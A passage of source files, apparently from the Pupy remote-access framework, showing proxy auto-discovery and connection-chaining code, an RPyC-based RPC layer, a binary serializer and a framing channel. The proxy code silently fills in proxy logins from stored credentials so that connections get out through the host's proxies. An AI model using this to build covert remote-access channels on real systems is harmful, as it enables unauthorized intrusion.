)\n\n\ndef get_proxies():\n    if LAST_PROXY is not None:\n        yield LAST_PROXY\n\n    for proxy in get_python_proxies():\n        yield proxy\n\n    for proxy in get_env_proxies():\n        yield proxy\n\n    if os.name == 'nt':\n        for proxy in get_win_proxies():\n            yield proxy\n\n    elif os.name == 'posix':\n        for proxy in get_profile_proxies():\n            yield proxy\n\n        for proxy in get_gio_proxies():\n            yield proxy\n\n    for proxy in get_processes_proxies():\n        yield proxy\n\n\ndef _check_proxy_info(proxy_info):\n    from .tinyhttp import HTTP\n\n    logger.debug('%s - check', proxy_info)\n    ctx = HTTP(proxy=proxy_info, timeout=5)\n    try:\n        data, code = ctx.get(CHECK_CONNECTIVITY_URL, code=True)\n\n    except Exception as e:\n        logger.debug('%s - failed - %s', proxy_info, e)\n        return False\n\n    if code == 204 and data == '':\n        logger.debug('%s - ok', proxy_info)\n        return True\n\n    return False\n\n\ndef find_default_proxy():\n    global LAST_PROXY, LAST_PROXY_TIME\n\n    if LAST_PROXY_TIME is not None:\n        if time.time() - LAST_PROXY_TIME < 3600:\n            logger.debug('Cached default proxy: %s', LAST_PROXY)\n            return LAST_PROXY\n\n    logger.debug('Refresh required')\n\n    LAST_PROXY_TIME = time.time()\n\n    dups = set()\n\n    for proxy_info in get_proxies():\n        if proxy_info in dups:\n            continue\n\n        dups.add(proxy_info)\n\n        if _check_proxy_info(proxy_info):\n            LAST_PROXY = proxy_info\n            return LAST_PROXY\n\n    return LAST_PROXY\n\n\ndef has_wpad():\n    global LAST_WPAD, LAST_WPAD_TIME\n\n    if not get_proxy_for_address:\n        return None\n\n    if LAST_WPAD is not None:\n        if time.time() - LAST_WPAD_TIME < 3600:\n            logger.debug('Cached wpad: %s', LAST_WPAD)\n            return LAST_WPAD\n\n    from .tinyhttp import HTTP\n\n    LAST_WPAD_TIME = time.time()\n\n    pac_player = refresh_pac_player()\n    if not pac_player:\n        LAST_WPAD = False\n        return False\n\n    LAST_WPAD = False\n\n    for proxy_info in get_proxy_for_address(CHECK_CONNECTIVITY_URL):\n        ctx = HTTP(proxy=proxy_info, timeout=5)\n        try:\n            data, code = ctx.get(CHECK_CONNECTIVITY_URL, code=True)\n        except Exception as e:\n            logger.debug('WPAD: %s - failed - %s', proxy_info, e)\n            continue\n\n        if code == 204 and data == '':\n            logger.debug('WPAD: %s - ok', proxy_info)\n            LAST_WPAD = True\n            break\n\n    return LAST_WPAD\n\n\ntry:\n    from .pac import (\n        get_proxy_for_address, set_proxy_unavailable,\n        refresh_pac_player\n    )\nexcept ImportError:\n    get_proxy_for_address = None\n    refresh_pac_player = None\n    set_proxy_unavailable = None\n\n\ndef find_auth(proxy_info):\n    if proxy_info.username or proxy_info.password:\n        return\n\n    if proxy_info.addr is None:\n        # DIRECT for example\n        return\n\n    port = None\n    cred = None\n\n    try:\n        if ':' in proxy_info.addr:\n            address, port = proxy_info.addr.rsplit(':', 1)\n\n        cred = find_first_cred(\n            proxy_info.type.lower(),\n            address, port\n        )\n    except Exception as e:\n        logger.exception(e)\n        return\n\n    if cred:\n        proxy_info.username = cred.user\n        proxy_info.password = cred.password\n\n\ndef is_proxiable(chain, transport_info):\n    if _is_native_for(chain, transport_info.transport):\n        return True\n\n    if not issubclass(transport_info.transport.client, PupyTCPClient):\n        return False\n\n    return True\n\n\ndef find_proxies(url=None, auth=True):\n    wpad_proxies = None\n\n    if url and get_proxy_for_address:\n        wpad_proxies = get_proxy_for_address(url)\n        logger.info('URL: %s WPAD: %s', url, wpad_proxies)\n\n    if wpad_proxies:\n        logger.info('WPAD for %s: %s', url, wpad_proxies)\n        for proxy_info in wpad_proxies:\n            if auth:\n                find_auth(proxy_info)\n\n            yield proxy_info\n\n    # Try proxies which works\n    proxy_info = find_default_proxy()\n    if proxy_info:\n        if auth:\n            find_auth(proxy_info)\n\n        yield proxy_info\n\n    # Try everything\n    for proxy_info in get_proxies():\n        if proxy_info:\n            if auth:\n                find_auth(proxy_info)\n\n            yield proxy_info\n\n\ndef make_args_for_transport_info(transport_info, host_info, chain):\n\n    chost, cport, chostname = host_info\n    transport_args = transport_info.transport_args.copy()\n    client_args = transport_info.client_args.copy()\n    client = transport_info.transport.client\n\n    if chostname is not None and chostname != chost:\n        if ':' in chostname:\n            chostname = '[' + chostname + ']'\n\n        transport_args['host'] = chostname\n\n    if not chain:\n        return ProxyInfo(\n            client, client_args, transport_args,\n            chost, cport, chain\n        )\n\n    first = chain[0]\n\n    if _is_native_for(chain, transport_info.transport):\n        chost, cport = first.addr.split(':')\n        cport = int(cport)\n        chain = []\n    else:\n        client_args['proxies'] = chain\n\n        if client is PupyTCPClient:\n            client = PupyProxifiedTCPClient\n        elif client is PupySSLClient:\n            client = PupyProxifiedSSLClient\n        else:\n            raise ValueError(\n                'Proxification for {} is not implemented'.format(\n                    client))\n\n    transport_args['proxy'] = True\n    if first.password or first.username:\n        transport_args['auth'] = (first.username, first.password)\n\n    transport_args['connect'] = host_info.host, host_info.port\n\n    return ProxyInfo(\n        client, client_args, transport_args, chost, cport, chain\n    )\n\n\ndef _parse_proxies(proxies):\n    if not proxies:\n        return\n\n    for proxy in proxies:\n        for parsed_proxy in parse_proxy(proxy):\n            yield parsed_proxy\n\n\ndef find_proxies_for_transport(\n        transport_info, host_info,\n        lan_proxies=None, wan_proxies=None, auto=True, wpad=True, direct=True):\n\n    host, port, _ = host_info\n    wpad_uri = None\n    parsed_wan_proxies = list(_parse_proxies(wan_proxies))\n    dups = set()\n\n    if auto:\n        if wpad:\n            uri_host = host\n            if ':' in host:\n                uri_host = '[' + host + ']'\n            wpad_uri = 'tcp://{}:{}'.format(uri_host, port)\n            if 'HTTP' in transport_info.transport.internal_proxy_impl:\n                wpad_uri = 'http://{}{}'.format(\n                    uri_host, ':{}'.format(port) if port != 80 else '')\n\n        for lan_proxy in find_proxies(wpad_uri):\n            chain = []\n            if lan_proxy in dups:\n                continue\n\n            dups.add(lan_proxy)\n\n            if lan_proxy.type != 'DIRECT':\n                chain.append(lan_proxy)\n\n            chain.extend(parsed_wan_proxies)\n\n            if not is_proxiable(chain, transport_info):\n                logger.debug('Rejected proposition %s - unsupported transport', chain)\n                continue\n\n            yield make_args_for_transport_info(\n                transport_info, host_info, chain)\n\n    for lan_proxy in _parse_proxies(lan_proxies):\n        if lan_proxy in dups:\n            continue\n\n        if _check_proxy_info(lan_proxy):\n            global LAST_PROXY, LAST_PROXY_TIME\n\n            LAST_PROXY = lan_proxy\n            LAST_PROXY_TIME = time.time()\n\n        dups.add(lan_proxy)\n\n        chain = [lan_proxy]\n        chain.extend(parsed_wan_proxies)\n\n        if not is_proxiable(chain, transport_info):\n            logger.debug('Rejected proposition %s - unsupported transport', chain)\n            continue\n\n        yield make_args_for_transport_info(\n            transport_info, host_info, chain)\n\n    if direct:\n        if parsed_wan_proxies:\n            yield make_args_for_transport_info(\n                transport_info, host_info, parsed_wan_proxies)\n        else:\n            # Just return same info\n            yield make_args_for_transport_info(\n                transport_info, host_info, [])\n\n\ndef _is_native_for(proxies, transport):\n    if not proxies or not len(proxies) == 1:\n        return False\n\n    first_proxy = proxies[0]\n\n    return first_proxy.type in transport.internal_proxy_impl\n\n\ndef connect_client_with_proxy_info(transport_info, proxy_info):\n    client = proxy_info.client(**proxy_info.client_args)\n    sock = client.connect(proxy_info.host, proxy_info.port)\n    stream = transport_info.transport.stream(\n        sock,\n        transport_info.transport.client_transport,\n        proxy_info.transport_args\n    )\n\n    return stream\n"
  },
  {
    "path": "pupy/network/lib/pupyrpc.py",
    "content": "# -*- coding: utf-8 -*-\n# Glue for backward compatibility\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('nowait', 'brine')\n\nimport sys\n\nif 'rpyc' in sys.modules:\n    import rpyc\n\n    nowait = getattr(rpyc, 'async')\n    brine = rpyc.core.brine\n    netref = rpyc.core.netref\n\nelse:\n    from pupy.network.lib.rpc import nowait\n    from pupy.network.lib.rpc.core import brine\n"
  },
  {
    "path": "pupy/network/lib/rpc/__init__.py",
    "content": "\"\"\"\n::\n\n         #####    #####             ####\n        ##   ##  ##   ##           ##             ####\n        ##  ##   ##  ##           ##                 #\n        #####    #####   ##   ##  ##               ##\n        ##  ##   ##       ## ##   ##                 #\n        ##   ##  ##        ###    ##              ###\n        ##   ##  ##        ##      #####\n     -------------------- ## ------------------------------------------\n                         ##\n\nRemote Python Call (RPyC)\nLicensed under the MIT license (see `LICENSE` file)\n\nA transparent, symmetric and light-weight RPC and distributed computing\nlibrary for python.\n\nUsage::\n\n    >>> import rpyc\n    >>> c = network.lib.rpc.connect_by_service(\"SERVICENAME\")\n    >>> print c.root.some_function(1, 2, 3)\n\nClassic-style usage::\n\n    >>> import rpyc\n    >>> # `hostname` is assumed to be running a slave-service server\n    >>> c = network.lib.rpc.classic.connect(\"hostname\")\n    >>> print c.execute(\"x = 5\")\n    None\n    >>> print c.eval(\"x + 2\")\n    7\n    >>> print c.modules.os.listdir(\".\")       #doctest: +ELLIPSIS\n    [...]\n    >>> print c.modules[\"xml.dom.minidom\"].parseString(\"<a/>\")   #doctest: +ELLIPSIS\n    <xml.dom.minidom.Document instance at ...>\n    >>> f = c.builtin.open(\"foobar.txt\", \"rb\")     #doctest: +SKIP\n    >>> print f.read(100)     #doctest: +SKIP\n    ...\n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n__all__ = (\n    'Channel', 'Connection', 'Service', 'BaseNetref', 'AsyncResult',\n    'GenericException', 'AsyncResultTimeout',\n    'nowait', 'timed', 'buffiter', 'BgServingThread', 'restricted',\n    'classic', 'byref',\n    '__version__'\n)\n\nimport sys\n\nfrom pupy.network.lib.rpc.core import (\n    Channel, Connection, Service, BaseNetref, AsyncResult,\n    GenericException, AsyncResultTimeout, byref\n)\n\nfrom pupy.network.lib.rpc.utils.helpers import (\n    nowait, timed, buffiter, BgServingThread, restricted\n)\n\nfrom pupy.network.lib.rpc.utils import classic\n\nfrom pupy.network.lib.rpc.version import version as __version__\n\n\n__author__ = \"Tomer Filiba (tomerfiliba@gmail.com)\"\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/__init__.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n__all__ = (\n    'Channel', 'Connection', 'BaseNetref',\n    'AsyncResult', 'AsyncResultTimeout',\n    'Service', 'GenericException',\n    'Stream', 'ClosedFile', 'SocketStream', 'byref'\n)\n\nfrom pupy.network.lib.rpc.core.channel import Channel\nfrom pupy.network.lib.rpc.core.protocol import Connection\nfrom pupy.network.lib.rpc.core.netref import BaseNetref, byref\nfrom pupy.network.lib.rpc.core.nowait import AsyncResult, AsyncResultTimeout\nfrom pupy.network.lib.rpc.core.service import Service\nfrom pupy.network.lib.rpc.core.vinegar import GenericException\nfrom pupy.network.lib.rpc.core.stream import Stream, ClosedFile, SocketStream\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/brine.py",
    "content": "\"\"\"\n**Brine** is a simple, fast and secure object serializer for **immutable** objects.\nThe following types are supported: ``int``, ``long``, ``bool``, ``str``, ``float``,\n``unicode``, ``bytes``, ``slice``, ``complex``, ``tuple`` (of simple types),\n``frozenset`` (of simple types) as well as the following singletons: ``None``,\n``NotImplemented``, and ``Ellipsis``.\n\nExample::\n\n    >>> x = (\"he\", 7, u\"llo\", 8, (), 900, None, True, Ellipsis, 18.2, 18.2j + 13,\n    ... slice(1,2,3), frozenset([5,6,7]), NotImplemented)\n    >>> dumpable(x)\n    True\n    >>> y = dump(x)\n    >>> y.encode(\"hex\")\n    '140e0b686557080c6c6c6f580216033930300003061840323333333333331b402a000000000000403233333333333319125152531a1255565705'\n    >>> z = load(y)\n    >>> x == z\n    True\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport logging\n\nfrom pupy.network.lib.compat import (\n    Struct, BytesIO, is_py3k, as_byte, xrange\n)\n\n\n# singletons\nTAG_NONE = b'\\x00'\nTAG_EMPTY_STR = b'\\x01'\nTAG_EMPTY_TUPLE = b'\\x02'\nTAG_TRUE = b'\\x03'\nTAG_FALSE = b'\\x04'\nTAG_NOT_IMPLEMENTED = b'\\x05'\nTAG_ELLIPSIS = b'\\x06'\n# types\nTAG_UNICODE = b'\\x08'\nTAG_LONG = b'\\x09'\nTAG_STR1 = b'\\x0a'\nTAG_STR2 = b'\\x0b'\nTAG_STR3 = b'\\x0c'\nTAG_STR4 = b'\\x0d'\nTAG_STR_L1 = b'\\x0e'\nTAG_STR_L4 = b'\\x0f'\nTAG_TUP1 = b'\\x10'\nTAG_TUP2 = b'\\x11'\nTAG_TUP3 = b'\\x12'\nTAG_TUP4 = b'\\x13'\nTAG_TUP_L1 = b'\\x14'\nTAG_TUP_L4 = b'\\x15'\nTAG_INT_L1 = b'\\x16'\nTAG_INT_L4 = b'\\x17'\nTAG_FLOAT = b'\\x18'\nTAG_SLICE = b'\\x19'\nTAG_FSET = b'\\x1a'\nTAG_COMPLEX = b'\\x1b'\n\n# non-standard pupy RPC extensions\nTAG_NAMED_TUPLE = b'\\xf0'\nTAG_IMMUTABLE_DICT = b'\\xf1'\nTAG_IMMUTABLE_SET = b'\\xf2'\nTAG_IMMUTABLE_LIST = b'\\xf2'\n\nREGISTERED_NAMED_TUPLES_PACK = {}\nREGISTERED_NAMED_TUPLES_UNPACK = {}\n\nMAX_REGISTERED_VERSION = 1\n\n\nI1 = Struct(\">B\")\nI4 = Struct(\">L\")\nF8 = Struct(\">d\")\nC16 = Struct(\">dd\")\n\n_dump_registry = tuple(\n    dict() for _ in xrange(MAX_REGISTERED_VERSION + 1)\n)\n\n_load_registry = tuple(\n    ([None]*256) for _ in xrange(MAX_REGISTERED_VERSION + 1)\n)\n\n\ndef _dump_named_tuple(obj, stream, version):\n    obj_type = type(obj)\n    tuple_id = REGISTERED_NAMED_TUPLES_PACK.get(obj_type)\n\n    if tuple_id is None:\n        raise ValueError('Unregistered named tuple type %s', obj_type)\n\n    stream.append(TAG_NAMED_TUPLE)\n    stream.append(I4.pack(tuple_id))\n    tuple_dump = _dump_registry[0][tuple]\n    tuple_dump(obj, stream, version)\n\n\ndef register_named_tuple(code, ntype):\n    REGISTERED_NAMED_TUPLES_PACK[ntype] = code\n    REGISTERED_NAMED_TUPLES_UNPACK[code] = ntype\n\n    for ver in xrange(1, MAX_REGISTERED_VERSION + 1):\n        _dump_registry[ver][ntype] = _dump_named_tuple\n\n\ndef register(coll, key, min_version=0):\n    def deco(func):\n        for version in xrange(min_version, MAX_REGISTERED_VERSION + 1):\n            if coll is _dump_registry:\n                _dump_registry[version][key] = func\n\n            elif coll is _load_registry:\n                _load_registry[version][ord(key)] = func\n\n            else:\n                raise ValueError(\n                    'Unknown registry %s' % (repr(coll),)\n                )\n\n        return func\n\n    return deco\n\n# =============================================================================\n# dumping\n# =============================================================================\n\n\n@register(_dump_registry, type(None))\ndef _dump_none(obj, stream, version):\n    stream.append(TAG_NONE)\n\n\n@register(_dump_registry, type(NotImplemented))\ndef _dump_notimplemeted(obj, stream, version):\n    stream.append(TAG_NOT_IMPLEMENTED)\n\n\n@register(_dump_registry, type(Ellipsis))\ndef _dump_ellipsis(obj, stream, version):\n    stream.append(TAG_ELLIPSIS)\n\n\n@register(_dump_registry, bool)\ndef _dump_bool(obj, stream, version):\n    if obj:\n        stream.append(TAG_TRUE)\n    else:\n        stream.append(TAG_FALSE)\n\n\n@register(_dump_registry, slice)\ndef _dump_slice(obj, stream, version):\n    stream.append(TAG_SLICE)\n    _dump((obj.start, obj.stop, obj.step), stream, version)\n\n\n@register(_dump_registry, frozenset)\ndef _dump_frozenset(obj, stream, version):\n    stream.append(TAG_FSET)\n    _dump(tuple(obj), stream, version)\n\n\n@register(_dump_registry, int)\ndef _dump_int(obj, stream, version):\n    if obj >= -0x30 and obj < 0xa0:\n        stream.append(as_byte(obj + 0x50))\n    else:\n        obj = str(obj).encode('ascii')\n        obj_len = len(obj)\n        if obj_len < 256:\n            stream.append(TAG_INT_L1 + I1.pack(obj_len) + obj)\n        else:\n            stream.append(TAG_INT_L4 + I4.pack(obj_len) + obj)\n\n\n@register(_dump_registry, float)\ndef _dump_float(obj, stream, version):\n    stream.append(TAG_FLOAT + F8.pack(obj))\n\n\n@register(_dump_registry, complex)\ndef _dump_complex(obj, stream, version):\n    stream.append(TAG_COMPLEX + C16.pack(obj.real, obj.imag))\n\n\nif is_py3k:\n    @register(_dump_registry, bytes)\n    def _dump_bytes(obj, stream, version):\n        obj_len = len(obj)\n        if obj_len == 0:\n            stream.append(TAG_EMPTY_STR)\n        elif obj_len == 1:\n            stream.append(TAG_STR1 + obj)\n        elif obj_len == 2:\n            stream.append(TAG_STR2 + obj)\n        elif obj_len == 3:\n            stream.append(TAG_STR3 + obj)\n        elif obj_len == 4:\n            stream.append(TAG_STR4 + obj)\n        elif obj_len < 256:\n            stream.append(TAG_STR_L1 + I1.pack(obj_len))\n            stream.append(obj)\n        else:\n            stream.append(TAG_STR_L4 + I4.pack(obj_len))\n            stream.append(obj)\n\n    @register(_dump_registry, str)\n    def _dump_str(obj, stream, version):\n        stream.append(TAG_UNICODE)\n        _dump_bytes(obj.encode('utf8'), stream, version)\n\n    @register(_dump_registry, dict, 1)\n    def _dump_immutable_dict(obj, stream, version):\n        stream.append(TAG_IMMUTABLE_DICT)\n        items = len(obj)\n        stream.append(I4.pack(items))\n\n        for item in obj.items():\n            _dump(item, stream, version)\n\n    @register(_dump_registry, type({}.keys()), 1)\n    def _dump_immutable_dict_keys(obj, stream, version):\n        stream.append(TAG_IMMUTABLE_LIST)\n        items = len(obj)\n        stream.append(I4.pack(items))\n\n        for item in obj:\n            _dump(item, stream, version)\n\nelse:\n    @register(_dump_registry, str)\n    def _dump_str(obj, stream, version):\n        obj_len = len(obj)\n        if obj_len == 0:\n            stream.append(TAG_EMPTY_STR)\n        elif obj_len == 1:\n            stream.append(TAG_STR1 + obj)\n        elif obj_len == 2:\n            stream.append(TAG_STR2 + obj)\n        elif obj_len == 3:\n            stream.append(TAG_STR3 + obj)\n        elif obj_len == 4:\n            stream.append(TAG_STR4 + obj)\n        elif obj_len < 256:\n            stream.append(TAG_STR_L1 + I1.pack(obj_len))\n            stream.append(obj)\n        else:\n            stream.append(TAG_STR_L4 + I4.pack(obj_len))\n            stream.append(obj)\n\n    @register(_dump_registry, unicode)\n    def _dump_unicode(obj, stream, version):\n        stream.append(TAG_UNICODE)\n        _dump_str(obj.encode('utf8'), stream, version)\n\n    @register(_dump_registry, long)\n    def _dump_long(obj, stream, version):\n        stream.append(TAG_LONG)\n        _dump_int(obj, stream, version)\n\n    @register(_dump_registry, dict, 1)\n    def _dump_immutable_dict(obj, stream, version):\n        stream.append(TAG_IMMUTABLE_DICT)\n        items = len(obj)\n        stream.append(I4.pack(items))\n\n        for item in obj.iteritems():\n            _dump(item, stream, version)\n\n\n@register(_dump_registry, set, 1)\ndef _dump_immutable_set(obj, stream, version):\n    stream.append(TAG_IMMUTABLE_SET)\n    items = len(obj)\n    stream.append(I4.pack(items))\n\n    for item in obj:\n        _dump(item, stream, version)\n\n\n@register(_dump_registry, list, 1)\ndef _dump_immutable_list(obj, stream, version):\n    stream.append(TAG_IMMUTABLE_LIST)\n    items = len(obj)\n    stream.append(I4.pack(items))\n\n    for item in obj:\n        _dump(item, stream, version)\n\n\n@register(_dump_registry, tuple)\ndef _dump_tuple(obj, stream, version):\n    obj_len = len(obj)\n    if obj_len == 0:\n        stream.append(TAG_EMPTY_TUPLE)\n    elif obj_len == 1:\n        stream.append(TAG_TUP1)\n    elif obj_len == 2:\n        stream.append(TAG_TUP2)\n    elif obj_len == 3:\n        stream.append(TAG_TUP3)\n    elif obj_len == 4:\n        stream.append(TAG_TUP4)\n    elif obj_len < 256:\n        stream.append(TAG_TUP_L1 + I1.pack(obj_len))\n    else:\n        stream.append(TAG_TUP_L4 + I4.pack(obj_len))\n\n    for item in obj:\n        _dump(item, stream, version)\n\n\ndef _undumpable(obj, stream, version):\n    raise TypeError(\"cannot dump %r (%s) version=%s\" % (\n        obj, type(obj), version)\n    )\n\n\ndef _dump(obj, stream, version=0):\n    dumper = _dump_registry[version].get(\n        type(obj), _undumpable\n    )\n\n    dumper(obj, stream, version)\n\n# =============================================================================\n# loading\n# =============================================================================\n\n\n@register(_load_registry, TAG_NAMED_TUPLE, 1)\ndef _load_named_tuple(stream, version):\n    tuple_id, = I4.unpack(stream.read(4))\n    obj_type = REGISTERED_NAMED_TUPLES_UNPACK.get(tuple_id)\n    if obj_type is None:\n        raise ValueError('Unregistered named tuple id %s', tuple_id)\n\n    tuple_data = _load(stream, version)\n    return obj_type(*tuple_data)\n\n\n@register(_load_registry, TAG_IMMUTABLE_DICT, 1)\ndef _load_immutable_dict(stream, version):\n    items, = I4.unpack(stream.read(4))\n    dict_items = []\n\n    for _ in xrange(items):\n        dict_items.append(_load(stream, version))\n\n    return dict(dict_items)\n\n\n@register(_load_registry, TAG_IMMUTABLE_SET, 1)\ndef _load_immutable_set(stream, version):\n    items, = I4.unpack(stream.read(4))\n    result = set()\n\n    for _ in xrange(items):\n        result.add(_load(stream, version))\n\n    return result\n\n\n@register(_load_registry, TAG_IMMUTABLE_LIST, 1)\ndef _load_immutable_list(stream, version):\n    items, = I4.unpack(stream.read(4))\n    result = list()\n\n    for _ in xrange(items):\n        result.append(_load(stream, version))\n\n    return result\n\n\n@register(_load_registry, TAG_NONE)\ndef _load_none(stream, version):\n    return None\n\n\n@register(_load_registry, TAG_NOT_IMPLEMENTED)\ndef _load_nonimp(stream, version):\n    return NotImplemented\n\n\n@register(_load_registry, TAG_ELLIPSIS)\ndef _load_elipsis(stream, version):\n    return Ellipsis\n\n\n@register(_load_registry, TAG_TRUE)\ndef _load_true(stream, version):\n    return True\n\n\n@register(_load_registry, TAG_FALSE)\ndef _load_false(stream, version):\n    return False\n\n\n@register(_load_registry, TAG_EMPTY_TUPLE)\ndef _load_empty_tuple(stream, version):\n    return ()\n\n\n@register(_load_registry, TAG_EMPTY_STR)\ndef _load_empty_str(stream, version):\n    return b''\n\n\nif is_py3k:\n    @register(_load_registry, TAG_LONG)\n    def _load_long(stream, version):\n        obj = _load(stream, version)\n        return int(obj)\nelse:\n    @register(_load_registry, TAG_LONG)\n    def _load_long(stream, version):\n        obj = _load(stream, version)\n        return long(obj)\n\n\n@register(_load_registry, TAG_FLOAT)\ndef _load_float(stream, version):\n    return F8.unpack(stream.read(8))[0]\n\n\n@register(_load_registry, TAG_COMPLEX)\ndef _load_complex(stream, version):\n    real, imag = C16.unpack(stream.read(16))\n    return complex(real, imag)\n\n\n@register(_load_registry, TAG_STR1)\ndef _load_str1(stream, version):\n    return stream.read(1)\n\n\n@register(_load_registry, TAG_STR2)\ndef _load_str2(stream, version):\n    return stream.read(2)\n\n\n@register(_load_registry, TAG_STR3)\ndef _load_str3(stream, version):\n    return stream.read(3)\n\n\n@register(_load_registry, TAG_STR4)\ndef _load_str4(stream, version):\n    return stream.read(4)\n\n\n@register(_load_registry, TAG_STR_L1)\ndef _load_str_l1(stream, version):\n    obj_len, = I1.unpack(stream.read(1))\n    return stream.read(obj_len)\n\n\n@register(_load_registry, TAG_STR_L4)\ndef _load_str_l4(stream, version):\n    obj_len, = I4.unpack(stream.read(4))\n    return stream.read(obj_len)\n\n\n@register(_load_registry, TAG_UNICODE)\ndef _load_unicode(stream, version):\n    obj = _load(stream, version)\n    return obj.decode(\"utf-8\")\n\n\n@register(_load_registry, TAG_TUP1)\ndef _load_tup1(stream, version):\n    return (_load(stream, version),)\n\n\n@register(_load_registry, TAG_TUP2)\ndef _load_tup2(stream, version):\n    return (_load(stream, version), _load(stream, version))\n\n\n@register(_load_registry, TAG_TUP3)\ndef _load_tup3(stream, version):\n    return (\n        _load(stream, version), _load(stream, version),\n        _load(stream, version)\n    )\n\n\n@register(_load_registry, TAG_TUP4)\ndef _load_tup4(stream, version):\n    return (\n        _load(stream, version), _load(stream, version),\n        _load(stream, version), _load(stream, version)\n    )\n\n\n@register(_load_registry, TAG_TUP_L1)\ndef _load_tup_l1(stream, version):\n    obj_len, = I1.unpack(stream.read(1))\n    return tuple(_load(stream, version) for _ in xrange(obj_len))\n\n\n@register(_load_registry, TAG_TUP_L4)\ndef _load_tup_l4(stream, version):\n    obj_len, = I4.unpack(stream.read(4))\n    return tuple(_load(stream, version) for _ in xrange(obj_len))\n\n\n@register(_load_registry, TAG_SLICE)\ndef _load_slice(stream, version):\n    start, stop, step = _load(stream, version)\n    return slice(start, stop, step)\n\n\n@register(_load_registry, TAG_FSET)\ndef _load_frozenset(stream, version):\n    return frozenset(_load(stream, version))\n\n\n@register(_load_registry, TAG_INT_L1)\ndef _load_int_l1(stream, version):\n    obj_len, = I1.unpack(stream.read(1))\n    return int(stream.read(obj_len))\n\n\n@register(_load_registry, TAG_INT_L4)\ndef _load_int_l4(stream, version):\n    obj_len, = I4.unpack(stream.read(4))\n    return int(stream.read(obj_len))\n\n\ndef _load(stream, version=0):\n    tag = stream.read(1)\n    ival = ord(tag)\n\n    if ival >= 0x20 and ival < 0xf0:\n        return ival - 0x50\n\n    loader = _load_registry[version][ival]\n    if loader is None:\n        raise ValueError('Unknown tag 0x%02x' % (ival,))\n\n    return loader(stream, version)\n\n\n# =============================================================================\n# API\n# =============================================================================\n\n\ndef dump(obj, version=0):\n    \"\"\"Converts (dumps) the given object to a byte-string representation\n\n    :param obj: any :func:`dumpable` object\n\n    :returns: a byte-string representation of the object\n    \"\"\"\n    stream = []\n    _dump(obj, stream, version)\n    return b''.join(stream)\n\n\ndef load(data, version=0):\n    \"\"\"Recreates (loads) an object from its byte-string representation\n\n    :param data: the byte-string representation of an object\n\n    :returns: the dumped object\n    \"\"\"\n    stream = BytesIO(data)\n    return _load(stream, version)\n\n\nif is_py3k:\n    simple_types = frozenset([\n        type(None), int, bool, float, bytes, str, complex,\n        type(NotImplemented), type(Ellipsis)\n    ])\nelse:\n    simple_types = frozenset([\n        type(None), int, long, bool, float, str, unicode, complex,\n        type(NotImplemented), type(Ellipsis)\n    ])\n\n\ndef dumpable(obj, version=0, log_deep=False, copy_mutable=True):\n    \"\"\"Indicates whether the given object is *dumpable* by brine\n\n    :returns: ``True`` if the object is dumpable (e.g., :func:`dump`\n                    would succeed),\n              ``False`` otherwise\n    \"\"\"\n    if type(obj) in simple_types:\n        return True\n\n    if type(obj) in (tuple, frozenset):\n        return all(dumpable(item, version, log_deep) for item in obj)\n\n    if type(obj) is slice:\n        return \\\n            dumpable(obj.start, version, log_deep) and \\\n            dumpable(obj.stop, version, log_deep) and \\\n            dumpable(obj.step, version, log_deep)\n\n    if type(obj) in _dump_registry[version]:\n        if isinstance(obj, tuple) or (type(obj) is set and copy_mutable):\n            return all(dumpable(item, version, True) for item in obj)\n        elif type(obj) is dict and copy_mutable:\n            return all(\n                dumpable(k, version, True) and dumpable(v, version, True)\n                for k, v in obj.items()\n            )\n\n    if __debug__:\n        if log_deep:\n            logging.debug(\n                'dumpable(deep): undumpable object type %s (%s)',\n                type(obj), repr(obj)\n            )\n\n    return False\n\n\nif __name__ == \"__main__\":\n    import doctest\n    doctest.testmod()\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/channel.py",
    "content": "\"\"\"\n*Channel* is an abstraction layer over streams that works with *packets of data*,\nrather than an endless stream of bytes, and adds support for compression.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom ..lib import safe_import\nfrom pupy.network.lib.compat import Struct\n\nzlib = safe_import(\"zlib\")\n\n\n# * 64 bit length field?\n# * separate \\n into a FlushingChannel subclass?\n# * add thread safety as a subclass?\n\nclass Channel(object):\n    \"\"\"Channel implementation.\n\n    Note: In order to avoid problems with all sorts of line-buffered transports,\n    we deliberately add ``\\\\n`` at the end of each frame.\n    \"\"\"\n\n    COMPRESSION_THRESHOLD = 3000\n    COMPRESSION_LEVEL = 1\n    FRAME_HEADER = Struct(\"!LB\")\n    FLUSHER = b'\\n'\n\n    __slots__ = [\"stream\", \"compress\"]\n\n    def __init__(self, stream, compress = True):\n        self.stream = stream\n        if not zlib:\n            compress = False\n        self.compress = compress\n\n    def close(self):\n        \"\"\"closes the channel and underlying stream\"\"\"\n        self.stream.close()\n\n    @property\n    def closed(self):\n        \"\"\"indicates whether the underlying stream has been closed\"\"\"\n        return self.stream.closed\n\n    def fileno(self):\n        \"\"\"returns the file descriptor of the underlying stream\"\"\"\n        return self.stream.fileno()\n\n    def poll(self, timeout):\n        \"\"\"polls the underlying steam for data, waiting up to *timeout* seconds\"\"\"\n        return self.stream.poll(timeout)\n\n    def recv(self):\n        \"\"\"Receives the next packet (or *frame*) from the underlying stream.\n        This method will block until the packet has been read completely\n\n        :returns: string of data\n        \"\"\"\n        header = self.stream.read(self.FRAME_HEADER.size)\n        length, compressed = self.FRAME_HEADER.unpack(header)\n        data = self.stream.read(length)\n\n        self.stream.read(len(self.FLUSHER))\n\n        if compressed:\n            data = zlib.decompress(data)\n\n        return data\n\n    def send(self, data):\n        \"\"\"Sends the given string of data as a packet over the underlying\n        stream. Blocks until the packet has been sent.\n\n        :param data: the byte string to send as a packet\n        \"\"\"\n        if self.compress and len(data) > self.COMPRESSION_THRESHOLD:\n            compressed = 1\n            data = zlib.compress(data)\n        else:\n            compressed = 0\n\n        self.stream.write(self.FRAME_HEADER.pack(len(data), compressed))\n        self.stream.write(data)\n        self.stream.write(self.FLUSHER)\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/consts.py",
